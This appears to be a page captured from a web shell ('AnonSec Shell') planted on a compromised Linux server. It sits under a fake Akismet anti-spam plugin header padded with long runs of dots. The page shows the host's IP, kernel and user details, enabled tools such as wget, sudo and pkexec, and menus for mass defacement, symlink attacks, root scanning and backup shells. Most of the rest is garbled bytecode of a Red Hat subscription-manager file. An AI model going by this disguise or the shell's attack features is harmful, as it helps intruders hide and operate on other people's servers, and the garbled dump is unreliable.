#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/subscription_manager/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/subscription_manager/scripts/rhsmcertd_worker.pyc
�
L��ec@`s�ddlmZmZmZddlZddlZejrWee�ejd�nddl	Z	ddl
Z
ddlZddl
Z
ddlmZddljZddlmZmZddlmZej�ddlmZe�ddlmZdd	lmZdd
lmZddlmZm Z m!Z!ddl"m#Z#dd
l$m%Z%ddl&m'Z(ddl)m*Z*m+Z+ddl,m-Z-d�Z.d�Z/d�Z0d�Z1d�Z2e3dkr�e2�ndS(i(tprint_functiontdivisiontabsolute_importNsutf-8(tlogutil(t
connectiontconfig(t	ga_loader(tinit_dep_injection(t
action_client(t
managerlib(tConsumerIdentity(tOptionParsertWrappedIndentedHelpFormattertUSAGE(t
SUPPRESS_HELP(tgenerate_correlation_id(tugettext(tdetect_cloud_providertCLOUD_PROVIDERS(tRegisterServicecC`stjd�dS(Ni(tsystexit(t
_signumbert_stackframe((sS/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsmcertd_worker.pytexit_on_signal<sc
C`sd�tD�}i}x�|D]�}||di�}|j�}|dkrm|jdjd|��qn|j�}|dkr�d}n|jdjd|��tjt	|��j
d�}tjt	|��j
d�}	i|d6|d	6|	d
6}PqW|S(s�
    Try to collect cloud information: metadata and signature provided by cloud provider.
    :param cloud_list: The list of detected cloud providers. In most cases the list contains only one item.
    :param log: logging object
    :return: The dictionary with metadata and signature (when signature is provided by cloud provider).
        Metadata and signature are base64 encoded. Empty dictionary is returned, when it wasn't
        possible to collect any metadata
    cS`si|]}||j�qS((tCLOUD_PROVIDER_ID(t.0tprovider_cls((sS/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsmcertd_worker.pys
<dictcomp>Ls	thw_infos<No metadata gathered for cloud provider: {cloud_provider_id}tcloud_provider_idtsGMetadata and signature gathered for cloud provider: {cloud_provider_id}tasciitcloud_idtmetadatat	signatureN(Rtget_metadatatNonetwarningtformatt
get_signaturetinfotbase64t	b64encodetbytestdecode(
t
cloud_listtlogtcloud_providerstresultRtcloud_providerR!R"tb64_metadatat
b64_signature((sS/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsmcertd_worker.pyt_collect_cloud_info@s,

	

c	C`s�|jd�tjtj�}|j�tkrB|jd�dS|jd�tdd�}t|�dkr�|jd�t	j
d	�nt||�}t|�dkr�|jd
�t	j
d	�n|j�}y.|j
d|dd|dd
|d
�}WnLtk
rS}|jdjdt|���|jd�t	j
d	�nXtd|�}y|jddd|�Wn9tk
r�}|jdjd|��t	j
d	�nX|jd�t	j
d�dS(s�
    Try to perform auto-registration
    :param cp_provider: provider of connection to candlepin server
    :param log: logging object
    :return: None
    s-Trying to do auto-registration of this systems5System already registered. Skipping auto-registrationNsTrying to detect cloud providert	thresholdg333333�?isTThis system does not run on any supported cloud provider. Skipping auto-registrationi����sVIt was not possible to collect any cloud metadata. Unable to perform auto-registrationR R!R"sUnable to get JWT token: {err}terrsCanceling auto-registrationtcptorgt	jwt_tokensUnable to auto-register: {err}s(Auto-registration performed successfully(tdebugtinjtrequiretIDENTITYtis_validtTrueRtlenR%RRR4tget_no_auth_cpt
getJWTokent	ExceptionterrorR&tstrRtregisterR$(	tcp_providerR.tidentityR-t
cloud_infoR7R9R6tregister_service((sS/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsmcertd_worker.pyt_auto_register}s@




	



cC`s)tjjjdt�tjtjt�tj	tj
�}t�}|jd|�|j
|�tj�}|jd�d|jdd�kr�|jr�|jd�tjd�n|jtkr�t||�ntj�s|jd	d
�tjd�nttd��|j�}|jd�y_|jrIt j!�}nt j"�}|j#|j�x$|j$D]}|rot|�qoqoWWn�t%j&k
r�}|j'td��|�ngt%j(k
r$}	tj)�j*�}
|	j+|
kr|j'd
|
�t,j-�|j'd�n|	�nXdS(Ntset_as_defaultsX-Correlation-ID: %sscheck for rhsmcertd disablet1t	rhsmcertdtdisables9The rhsmcertd process has been disabled by configuration.i����s9Either the consumer is not registered or the certificatess7 are corrupted. Certificate update using daemon failed.s0Updating entitlement certificates & repositoriess%Your identity certificate has expiredscConsumer profile "%s" has been deleted from the server. Its local certificates will now be archivedsqCertificates archived to '/etc/pki/consumer.old'. Contact your system administrator if you need more information.(.tdbustmainlooptglibt
DBusGMainLoopR?tsignaltSIGTERMRR;R<tCP_PROVIDERRR:tset_correlation_idRt
initConfigtgettforceR%RRt
auto_registerRKR
texistsAndValidRDtprintt_tget_consumer_auth_cptsupports_resourceR$tautohealRtHealingActionClienttActionClienttupdatetupdate_reportsRtExpiredIdentityCertExceptiontcriticalt
GoneExceptiontreadt
getConsumerIdt
deleted_idR	tclean_all_data(toptionsR.RGtcorrelation_idtcfgR7tactionclientt
update_reporttetgetuuid((sS/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsmcertd_worker.pyt_main�sL	

"
	
		
c
C`sCtj�tjdt�}tdtdt��}|jdddddd	t	d
d�|jddd
ddd	t	d
t
�|jdddddd	t	d
d�|j�\}}yt||�Wnut
k
r�}|jr?tjd�q?nJtk
r>}|jd�ttd��|j|�tjd�nXdS(Ns	rhsm-app.tusaget	formatters
--autohealtdestRatactiont
store_truetdefaultthelpsperform an autoheal checks--forceRZs--auto-registerR[sperform auto-registrationi����s.Error while updating certificates using daemons:Unable to update entitlement certificates and repositories(Rtinit_loggertloggingt	getLoggert__name__RR
Rt
add_optiontFalseRt
parse_argsRut
SystemExittcodeRRRCRDR]R^t	exception(R.tparserRmtargstseRr((sS/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsmcertd_worker.pytmain	s,



	

t__main__(4t
__future__RRRRtsixtPY2treloadtsetdefaultencodingRTR~tdbus.mainloop.glibRPR)tsubscription_managerRtsubscription_manager.injectiont	injectionR;trhsmRRRtinit_gat"subscription_manager.injectioninitRRR	tsubscription_manager.identityR
t"subscription_manager.i18n_optparseRRR
toptparseRtsubscription_manager.utilsRtsubscription_manager.i18nRR^tcloud_what.providerRRtrhsmlib.services.registerRRR4RKRuR�R�(((sS/usr/lib64/python2.7/site-packages/subscription_manager/scripts/rhsmcertd_worker.pyt<module>s@	

		=	<	P	 

Anon7 - 2022
AnonSec Team